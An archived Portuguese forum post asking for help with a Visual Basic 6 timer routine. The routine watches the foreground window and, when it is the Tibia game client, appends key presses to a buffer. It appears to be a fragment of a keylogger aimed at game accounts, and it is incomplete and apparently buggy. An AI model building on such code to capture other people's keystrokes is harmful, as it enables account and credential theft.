Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Dakan

Erro no Timer

Recommended Posts

Private Sub Timer1_Timer()

Static lHwnd As Long

Dim lCurHwnd As Long

Dim sText As String * 255

'

lCurHwnd = GetForegroundWindow

If lCurHwnd = lHwnd Then Exit Sub

lHwnd = lCurHwnd

If lHwnd <> hwnd Then

janela = Left$(sText, GetWindowText(lHwnd, ByVal sText, 255))

If sText = "Tibia" Then

If Magia Then txtkey = txtkey & Press

End If

End If

 

End Sub

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.